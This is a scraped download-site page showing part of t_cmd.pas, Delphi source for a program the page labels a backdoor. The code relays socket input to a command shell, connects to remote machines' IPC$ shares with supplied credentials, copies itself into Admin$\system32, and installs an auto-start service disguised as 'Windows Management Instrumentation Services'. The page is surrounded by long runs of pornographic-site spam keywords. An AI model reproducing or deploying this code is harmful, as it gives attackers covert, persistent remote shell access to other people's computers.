亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? t_cmd.pas

?? T-CMD 是一款用 C++ 編寫的后門程序
?? PAS
?? 第 1 頁 / 共 2 頁
字號:
end;

function WriteShell(lpParam: Pointer): Integer;
var
  sdWrite:         TSessionData;
  dwBuffer2Write,
  dwBufferWritten: DWORD;
  szBuffer:        array[0..0] of Char;
  szBuffer2Write:  array[0..BUFFER_SIZE - 1] of Char;
begin
  sdWrite := TSessionData(lpParam^);
  dwBuffer2Write := 0;
  while recv(sdWrite.sClient, szBuffer, 1, 0) <> 0 do
  begin
    szBuffer2Write[dwBuffer2Write] := szBuffer[0];
    Inc(dwBuffer2Write);

    if CompareText(szBuffer2Write, 'exit' + CRLF) = 0 then
    begin
      shutdown(sdWrite.sClient, $02);
      closesocket(sdWrite.sClient);
      Result := 0;
      Exit;
    end;

    if szBuffer[0] = #10 then
    begin
      if WriteFile(sdWrite.hPipe, szBuffer2Write, dwBuffer2Write,
        dwBufferWritten, nil) = False then
      begin
        OutputDebugString('WriteFile in WriteShell(Recv) Error !'#10);
        break;
      end;
      dwBuffer2Write := 0;
    end;
    Sleep(10);
  end;

  shutdown(sdWrite.sClient, $02);
  closesocket(sdWrite.sClient);
  Result := 0;
end;


function ConnectRemote(bConnect: Boolean;
  hpHost, lpUserName, lpPassword: string): Boolean;
var
  lpIPC:       array[0..255] of Char;
  dwErrorCode: DWORD;
  NETRESOURCE: TNetResource;
begin
  StrPCopy(lpIPC, Format('\\%s\ipc$', [hpHost]));
  NetResource.lpLocalName  := nil;
  NetResource.lpRemoteName := lpIPC;
  NetResource.dwType       := RESOURCETYPE_ANY;
  NetResource.lpProvider   := nil;
  if AnsiSameStr(lpPassword, 'NULL') then lpPassword := '';

  if bConnect then
  begin
    Write('Now Connecting ...... ');
    while True do
    begin
      dwErrorCode := WNetAddConnection2(NetResource, PChar(lpPassword),
        PChar(lpUserName), CONNECT_INTERACTIVE);
      if (dwErrorCode = ERROR_ALREADY_ASSIGNED) or
        (dwErrorCode = ERROR_DEVICE_ALREADY_REMEMBERED) then
        WNetCancelConnection2(lpIPC, CONNECT_UPDATE_PROFILE, TRUE)
      else if dwErrorCode = NO_ERROR then
      begin
        Write('Success !'#10);
        break;
      end
      else
      begin
        Write('Failure !'#10);
        Result := False;
        Exit;
      end;
      Sleep(10);
    end;
  end
  else // bConnect <> True
  begin
    Write('Now Disconnecting ... ');
    dwErrorCode := WNetCancelConnection2(lpIPC, CONNECT_UPDATE_PROFILE, TRUE);
    if dwErrorCode = NO_ERROR then
      Write('Success !'#10)
    else
    begin
      Write('Failure !'#10);
      Result := False;
      Exit;
    end;
  end;

  Result := True;
end;

function ChangeServiceConfig2(hService: SC_HANDLE;
  dwInfoLevel: DWORD; lpInfo: Pointer): LongBool; stdcall;
  external 'Advapi32.dll' name 'ChangeServiceConfig2A';

procedure InstallCmdService(lpHost: string);
var
  schSCManager:         SC_HANDLE;
  schService:           SC_HANDLE;
  lpCurrentPath:        array[0..MAX_PATH] of Char;
  lpImagePath:          array[0..MAX_PATH] of Char;
  lpHostName:           string;
  FileData:             WIN32_FIND_DATA;
  hSearch:              THandle;
  dwErrorCode:          DWORD;
  InstallServiceStatus: SERVICE_STATUS;
  lpServiceArgVectors:  PChar;
begin
  if lpHost = '' then
  begin
    GetSystemDirectory(lpImagePath, MAX_PATH);
    strcat(lpImagePath, '\' + N_SERVICE_BINARY_PATH_NAME);
    lpHostName := '';
  end
  else
  begin
    StrPCopy(lpImagePath, Format('\\%s\Admin$\system32\' +
                                 N_SERVICE_BINARY_PATH_NAME, [lpHost]));
    lpHostName := Format('\\%s', [lpHost]);
  end;
  Write('Transmitting File ... ');
  hSearch := FindFirstFile(lpImagePath, FileData);
  if hSearch = INVALID_HANDLE_VALUE then
  begin
    GetModuleFileName(0, lpCurrentPath, MAX_PATH);
    if not CopyFile(lpCurrentPath, lpImagePath, FALSE) then
    begin
      dwErrorCode := GetLastError;
      if dwErrorCode = 5 then
        Write('Failure ... Access is Denied !'#10)
      else
        Write('Failure !'#10);
      Exit;
    end
    else
    begin
      Write('Success !'#10);
    end;
  end
  else // found file
  begin
    Write('already Exists !'#10);
    FindClose(hSearch);
  end;

  schSCManager := OpenSCManager(PChar(lpHostName), nil, SC_MANAGER_ALL_ACCESS);
  if schSCManager = 0 then
  begin
    Write('Open Service Control Manager Database Failure !'#10);
    Exit;
  end;

  Write('Creating Service .... ');
  schService := CreateService(schSCManager, N_SERVICE_NAME,
    'Windows Management Instrumentation Services', SERVICE_ALL_ACCESS,
    SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START,
    SERVICE_ERROR_IGNORE, N_SERVICE_BINARY_PATH_NAME, nil, nil, nil, nil, nil);

  if schService = 0 then
  begin
    dwErrorCode := GetLastError;
    if dwErrorCode <> ERROR_SERVICE_EXISTS then
    begin
      Write('Failure !'#10);
      CloseServiceHandle(schSCManager);
      Exit;
    end
    else
    begin
      Write('already Exists !'#10);
      schService := OpenService(schSCManager, N_SERVICE_NAME, SERVICE_START);
      if schService = 0 then
      begin
        Write('Opening Service .... Failure !'#10);
        CloseServiceHandle(schSCManager);
        Exit;
      end;
    end;
  end
  else
    Write('Success !'#10);

  Write('Starting Service .... ');
  lpServiceArgVectors := nil;
  if not StartService(schService, 0, lpServiceArgVectors) then
  begin
    dwErrorCode := GetLastError;
    if dwErrorCode = ERROR_SERVICE_ALREADY_RUNNING then
    begin
      Write('already Running !'#10);
      CloseServiceHandle(schSCManager);
      CloseServiceHandle(schService);
      Exit;
    end;
  end
  else
    Write('Pending ... ');

  while QueryServiceStatus(schService, InstallServiceStatus) do
  begin
    if InstallServiceStatus.dwCurrentState = SERVICE_START_PENDING then
      Sleep(100)
    else
      Break;
  end;
  if InstallServiceStatus.dwCurrentState <> SERVICE_RUNNING then
    Write('Failure !'#10)
  else
    Write('Success !'#10);
  CloseServiceHandle(schSCManager);
  CloseServiceHandle(schService);
end;

procedure RemoveCmdService(lpHost: string);
var
  schSCManager:        SC_HANDLE;
  schService:          SC_HANDLE;
  lpImagePath:         array[0..MAX_PATH - 1] of Char;
  lpHostName:          string;
  FileData:            WIN32_FIND_DATA;
  RemoveServiceStatus: SERVICE_STATUS;
  hSearch:             THandle;
  dwErrorCode:         DWORD;
begin
  if lpHost = '' then
  begin
    GetSystemDirectory(lpImagePath, MAX_PATH);
    strcat(lpImagePath, '\' + N_SERVICE_BINARY_PATH_NAME);
    lpHostName := '';
  end
  else
  begin
    StrPCopy(lpImagePath, Format('\\%s\Admin$\system32\' +
                                 N_SERVICE_BINARY_PATH_NAME, [lpHost]));
    lpHostName := Format('\\%s', [lpHost]);
  end;

  schSCManager := OpenSCManager(PChar(lpHostName), nil, SC_MANAGER_ALL_ACCESS);
  if schSCManager = 0 then
  begin
    Write('Opening SCM ......... ');
    dwErrorCode := GetLastError;
    if dwErrorCode <> 5 then
      Write('Failure !'#10)
    else
      Write('Failure ... Access is Denied !'#10);
    Exit;
  end;

  schService := OpenService(schSCManager, N_SERVICE_NAME, SERVICE_ALL_ACCESS);
  if schService = 0 then
  begin
    Write('Opening Service ..... ');
    dwErrorCode := GetLastError;
    if dwErrorCode = 1060 then
      Write('no Exists !'#10)
    else
      Write('Failure !'#10);
    CloseServiceHandle(schSCManager);
  end
  else
  begin
    Write('Stopping Service .... ');
    if QueryServiceStatus(schService, RemoveServiceStatus) then
    begin
      if RemoveServiceStatus.dwCurrentState = SERVICE_STOPPED then
        Write('already Stopped !'#10)
      else
      begin
        Write('Pending ... ');
        if ControlService(schService, SERVICE_CONTROL_STOP,
          RemoveServiceStatus) then
        begin
          while RemoveServiceStatus.dwCurrentState = SERVICE_STOP_PENDING do
          begin
            Sleep(10);
            QueryServiceStatus(schService, RemoveServiceStatus);
          end;
          if RemoveServiceStatus.dwCurrentState = SERVICE_STOPPED then
            Write('Success !'#10)
          else
            Write('Failure !'#10);
        end
        else
          Write('Failure !'#10);
      end;
    end
    else
      Write('Query Failure !'#10);

    Write('Removing Service .... ');
    if not DeleteService(schService) then
      Write('Failure !'#10)
    else
      Write('Success !'#10);
  end;

  CloseServiceHandle(schSCManager);
  CloseServiceHandle(schService);

  Write('Removing File ....... ');
  Sleep(1500);
  hSearch := FindFirstFile(lpImagePath, FileData);
  if (hSearch = INVALID_HANDLE_VALUE) then
    Write('no Exists !'#10)
  else
  begin
    if not DeleteFile(lpImagePath) then
      Write('Failure !'#10)
    else
      Write('Success !'#10);
    FindClose(hSearch);
  end;
end;

procedure Start;
begin
  Write(N_START_MESSAGE);
end;

procedure Usage;
begin
  Write(N_USAGE_MESSAGE);
end;

procedure Main;
var
  DispatchTable: array [0..1] of SERVICE_TABLE_ENTRY;
begin
  DispatchTable[0].lpServiceName := N_SERVICE_NAME;
  DispatchTable[0].lpServiceProc := @CmdStart; 
  DispatchTable[1].lpServiceName := nil;
  DispatchTable[1].lpServiceProc := nil;

  if ParamCount = 4 then
  begin
    if not ConnectRemote(TRUE, ParamStr(2), ParamStr(3), ParamStr(4)) then
    begin
      ExitCode := -1;
      Exit;
    end;

    if SameText(ParamStr(1), '-install') then InstallCmdService(ParamStr(2))
    else if SameText(ParamStr(1), '-remove') then RemoveCmdService(ParamStr(2));

    if not ConnectRemote(FALSE, ParamStr(2), ParamStr(3), ParamStr(4)) then
    begin
      ExitCode := -1;
      Exit;
    end;
    Exit;
  end
  else if ParamCount = 1 then
  begin
    if SameText(ParamStr(1), '-install') then InstallCmdService('')
    else if SameText(ParamStr(1), '-remove') then RemoveCmdService('')
    else
    begin
      Start;
      Usage;
    end;
    Exit;
  end;

  StartServiceCtrlDispatcher(DispatchTable[0]);
end;

end.

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲综合在线视频| 国产乱码精品一区二区三区av| 三级精品在线观看| 国产精品亚洲一区二区三区在线| 日本丶国产丶欧美色综合| 欧美成人艳星乳罩| 亚洲国产日日夜夜| 99精品视频一区| 久久综合久久综合久久| 日韩中文字幕区一区有砖一区| 成人综合婷婷国产精品久久| 日韩欧美aaaaaa| 日韩精品亚洲一区| 色综合天天综合网国产成人综合天| 精品欧美乱码久久久久久| 亚洲一区二区av电影| www.亚洲精品| 欧美国产日韩在线观看| 精品一区二区三区久久| 欧美精品xxxxbbbb| 亚洲成a人片在线不卡一二三区 | 激情久久久久久久久久久久久久久久| 日本精品视频一区二区| 亚洲欧洲无码一区二区三区| 国产麻豆日韩欧美久久| 久久精品视频网| 国产精品1区2区3区在线观看| 欧美高清视频在线高清观看mv色露露十八 | 亚洲欧美另类久久久精品| 国产精品一区二区久久不卡| 精品国产人成亚洲区| 久久电影网电视剧免费观看| 欧美成人vps| 久久电影国产免费久久电影 | 欧美日韩卡一卡二| 一区二区免费视频| 欧美日韩国产综合一区二区| 午夜国产不卡在线观看视频| 欧美日韩精品一二三区| 视频一区欧美日韩| 精品电影一区二区三区| 国产高清亚洲一区| 最新中文字幕一区二区三区| 色先锋aa成人| 午夜精彩视频在线观看不卡| 欧美大片在线观看一区| 福利视频网站一区二区三区| 国产精品视频你懂的| 色偷偷久久人人79超碰人人澡 | 国产精品久久久久婷婷二区次| 成人污视频在线观看| 中文字幕一区二区三区蜜月| 欧美网站大全在线观看| 美脚の诱脚舐め脚责91| 国产精品色一区二区三区| 日本精品一级二级| 久久国产精品72免费观看| 国产精品人妖ts系列视频| 欧美亚洲一区二区在线观看| 美女网站在线免费欧美精品| 日本一区二区视频在线| 色美美综合视频| 九九精品视频在线看| 亚洲视频小说图片| 日韩免费在线观看| 色哟哟欧美精品| 韩国女主播成人在线观看| 亚洲人精品午夜| 欧美一区二区三区性视频| 成人在线综合网站| 免费观看30秒视频久久| 国产精品女主播av| 日韩一区二区电影网| 99精品国产一区二区三区不卡| 天堂av在线一区| 中文字幕一区二区三区av| 欧美精品第1页| 91免费观看视频| 国产乱子轮精品视频| 亚洲国产另类精品专区| 日本一区二区不卡视频| 555www色欧美视频| 色婷婷综合久久久中文字幕| 国产米奇在线777精品观看| 亚洲综合男人的天堂| 国产喂奶挤奶一区二区三区| 在线不卡的av| 在线观看一区日韩| 99天天综合性| 国产精品一区二区不卡| 麻豆成人久久精品二区三区小说| 一区二区三区不卡视频在线观看| 国产日韩欧美不卡在线| 欧美mv日韩mv国产网站| 制服丝袜中文字幕一区| 欧洲激情一区二区| 色欧美片视频在线观看在线视频| 成人性视频免费网站| 国内精品久久久久影院色| 日韩精品久久理论片| 亚洲一区二区三区影院| 亚洲精品乱码久久久久久久久| 中文字幕国产精品一区二区| 久久久91精品国产一区二区三区| 日韩欧美第一区| 日韩精品影音先锋| 欧美一区二区啪啪| 日韩欧美资源站| 日韩欧美一区中文| 日韩免费成人网| 欧美成人激情免费网| www久久精品| 日本一二三不卡| 国产精品电影一区二区三区| 国产精品久久久久久久蜜臀| 国产精品视频你懂的| ...中文天堂在线一区| 国产精品福利一区| 亚洲裸体在线观看| 一区二区理论电影在线观看| 性做久久久久久久免费看| 日韩电影一二三区| 精品一区二区三区在线播放 | 五月综合激情日本mⅴ| 免费观看在线色综合| 看电视剧不卡顿的网站| 国产高清在线观看免费不卡| 成人高清在线视频| 在线欧美日韩国产| 91精品欧美综合在线观看最新 | 久久99精品国产.久久久久久 | 色综合天天做天天爱| 欧美性大战久久久| 日韩欧美激情四射| 久久精品一区八戒影视| 亚洲视频图片小说| 日韩在线一区二区| 国产精一区二区三区| 91老师国产黑色丝袜在线| 欧美艳星brazzers| 精品久久人人做人人爽| 国产精品免费视频观看| 亚洲另类春色校园小说| 麻豆久久久久久久| 成人性生交大片免费看视频在线| 色噜噜狠狠成人中文综合| 欧美一区二区三区人| 国产午夜精品在线观看| 亚洲资源在线观看| 国产精品888| 欧美图片一区二区三区| 久久久久久久久久久99999| 尤物av一区二区| 国产久卡久卡久卡久卡视频精品| 色婷婷av一区| 国产欧美日韩视频在线观看| 午夜视频在线观看一区二区| 国产精品中文字幕欧美| 欧美精品一二三| 国产欧美视频在线观看| 日产国产欧美视频一区精品| 91小视频免费观看| 欧美精品一区二区三区在线播放 | 欧美色图片你懂的| 久久精品亚洲一区二区三区浴池| 亚洲一区二区综合| 成人高清视频在线观看| 精品捆绑美女sm三区| 亚洲欧美激情插 | 成人欧美一区二区三区白人| 美女高潮久久久| 欧美少妇bbb| 亚洲免费视频中文字幕| 国产成人午夜精品5599| 欧美成人性战久久| 天天爽夜夜爽夜夜爽精品视频| 9色porny自拍视频一区二区| 久久久精品tv| 激情久久五月天| 欧美不卡一区二区三区| 丝袜美腿亚洲综合| 欧美日韩激情一区二区| 玉米视频成人免费看| 91在线视频官网| 国产精品毛片久久久久久久 | 麻豆精品蜜桃视频网站| 欧美日韩一区三区| 一区二区三区精品在线观看| 91视视频在线观看入口直接观看www| 久久日韩粉嫩一区二区三区| 久久精品理论片| 欧美草草影院在线视频| 久久国产精品色| 久久亚洲捆绑美女| 国模一区二区三区白浆| 久久综合色播五月| 国产精品伊人色| 国产精品第四页| 91美女在线看| 亚洲午夜成aⅴ人片|